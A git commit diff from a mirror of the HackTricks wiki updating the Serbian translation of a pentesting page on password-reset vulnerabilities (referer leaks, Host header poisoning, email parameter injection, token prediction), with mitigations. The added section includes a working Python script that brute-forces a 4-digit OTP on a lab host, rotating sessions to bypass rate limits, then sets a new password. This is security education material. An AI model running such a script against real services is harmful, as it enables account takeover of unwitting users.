mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to sr
This commit is contained in:
parent
38e19e12b0
commit
7b0830c148
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrer-a**
|
||||
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrera**
|
||||
|
||||
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
|
||||
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. To se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
|
||||
- **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
|
||||
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama.
|
||||
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na veb sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer to može izložiti osetljive informacije trećim stranama.
|
||||
- **Reference**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
@ -14,18 +14,18 @@
|
||||
|
||||
## **Trovanje Resetovanja Lozinke**
|
||||
|
||||
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt.
|
||||
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zlonamerni sajt.
|
||||
- **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Validirati Host header u odnosu na belu listu dozvoljenih domena.
|
||||
- Koristiti sigurne, server-side metode za generisanje apsolutnih URL-ova.
|
||||
- **Zakrpiti**: Koristiti `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
|
||||
- Validirajte Host header u odnosu na belu listu dozvoljenih domena.
|
||||
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
|
||||
- **Zakrpiti**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
|
||||
- **Reference**:
|
||||
- [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Resetovanje Lozinke Manipulacijom Email Parametra**
|
||||
|
||||
Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
|
||||
Napadači mogu manipulisati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
|
||||
|
||||
- Dodajte email napadača kao drugi parametar koristeći &
|
||||
```php
|
||||
@ -77,9 +77,9 @@ POST /resetPassword
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
|
||||
## **Promena email-a i lozinke bilo kog korisnika putem API parametara**
|
||||
|
||||
- Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga.
|
||||
- Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
@ -89,23 +89,23 @@ POST /api/changepass
|
||||
- Osigurati strogu validaciju parametara i provere autentifikacije.
|
||||
- Implementirati robusno logovanje i praćenje kako bi se otkrile i reagovalo na sumnjive aktivnosti.
|
||||
- **Reference**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [Potpuno preuzimanje naloga putem manipulacije API parametrima](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Nema ograničenja brzine: Email bombardovanje**
|
||||
|
||||
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
|
||||
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja korisnika reset emailovima.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
|
||||
- Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
|
||||
- **Reference**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
- [HackerOne izveštaj 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Saznajte kako se generiše token za resetovanje lozinke**
|
||||
|
||||
- Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
|
||||
- Na osnovu vremenskog pečata
|
||||
- Na osnovu UserID-a
|
||||
- Na osnovu email-a korisnika
|
||||
- Na osnovu UserID
|
||||
- Na osnovu emaila korisnika
|
||||
- Na osnovu imena i prezimena
|
||||
- Na osnovu datuma rođenja
|
||||
- Na osnovu kriptografije
|
||||
@ -116,47 +116,47 @@ POST /api/changepass
|
||||
|
||||
## **Pogodna UUID**
|
||||
|
||||
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite:
|
||||
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači ih mogu brute-force-ovati kako bi generisali važeće reset tokene. Proverite:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Koraci za ublažavanje**:
|
||||
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne bezbednosne mere za druge verzije.
|
||||
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne sigurnosne mere za druge verzije.
|
||||
- **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
|
||||
|
||||
## **Manipulacija odgovorom: Zamenite loš odgovor dobrim**
|
||||
## **Manipulacija odgovorom: Zamena lošeg odgovora dobrim**
|
||||
|
||||
- Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora.
|
||||
- Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle".
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- [Kritična greška u Live Bug Bounty događaju](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Korišćenje istekao tokena**
|
||||
|
||||
- Testiranje da li se istekao token i dalje može koristiti za resetovanje lozinke.
|
||||
- Testiranje da li se istekao token još uvek može koristiti za resetovanje lozinke.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati stroge politike isteka tokena i validirati isteak tokena na serverskoj strani.
|
||||
- Implementirati stroge politike isteka tokena i validirati istekao token na serverskoj strani.
|
||||
|
||||
## **Brute Force token za resetovanje lozinke**
|
||||
|
||||
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u.
|
||||
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla IP-bazirana ograničenja brzine.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
|
||||
- Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.
|
||||
|
||||
## **Pokušajte koristiti svoj token**
|
||||
|
||||
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
|
||||
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa emailom žrtve.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
|
||||
|
||||
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
||||
|
||||
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje svoju lozinku.
|
||||
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje lozinku.
|
||||
- **Koraci za ublažavanje**:
|
||||
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.
|
||||
|
||||
@ -166,6 +166,70 @@ uuid-insecurities.md
|
||||
- **Koraci za ublažavanje**:
|
||||
- Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.
|
||||
|
||||
## **Zaobilaženje ograničenja brzine OTP-a promenom sesije**
|
||||
|
||||
- Ako veb sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), onda možemo efikasno brute-force-ovati OTP.
|
||||
- **eksploatacija**:
|
||||
- samo zatražite novi token sesije nakon što vas server blokira.
|
||||
- **Primer** koda koji eksploatiše ovu grešku nasumičnim pogađanjem OTP-a (kada promenite sesiju, OTP će se takođe promeniti, i tako nećemo moći sekvencijalno da ga brute-force-ujemo!):
|
||||
|
||||
``` python
|
||||
# Zaobilaženje autentifikacije putem resetovanja lozinke
|
||||
# od coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Počinjem napad!")
|
||||
sleep(3)
|
||||
print("[+] Ovo može potrajati oko 5 minuta da se završi!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nasumičan broj od 0 - 9999 sa 4 cifre
|
||||
parms["s"] = 164 # nije važno, samo utiče na frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # pratiti broj pokušaja
|
||||
out = requests.get(logout,headers=headers) # odjavljuje vas
|
||||
mainp = requests.get(root) # dobija još jedan phpssid (token)
|
||||
|
||||
cookies = out.cookies # ekstraktuje sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # ažurira zaglavlja sa novom sesijom
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # šalje email za promenu lozinke
|
||||
ter = 0 # resetuje ter da dobijemo novu sesiju nakon 8 pokušaja
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # ovo je dužina stranice kada ispravno dobijete kod za oporavak (dobijeno testiranjem)
|
||||
print(len(res.text)) # za debug informacije
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # ovde ćemo promeniti lozinku na nešto novo
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Lozinka je promenjena na:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Napad je zaustavljen")
|
||||
```
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user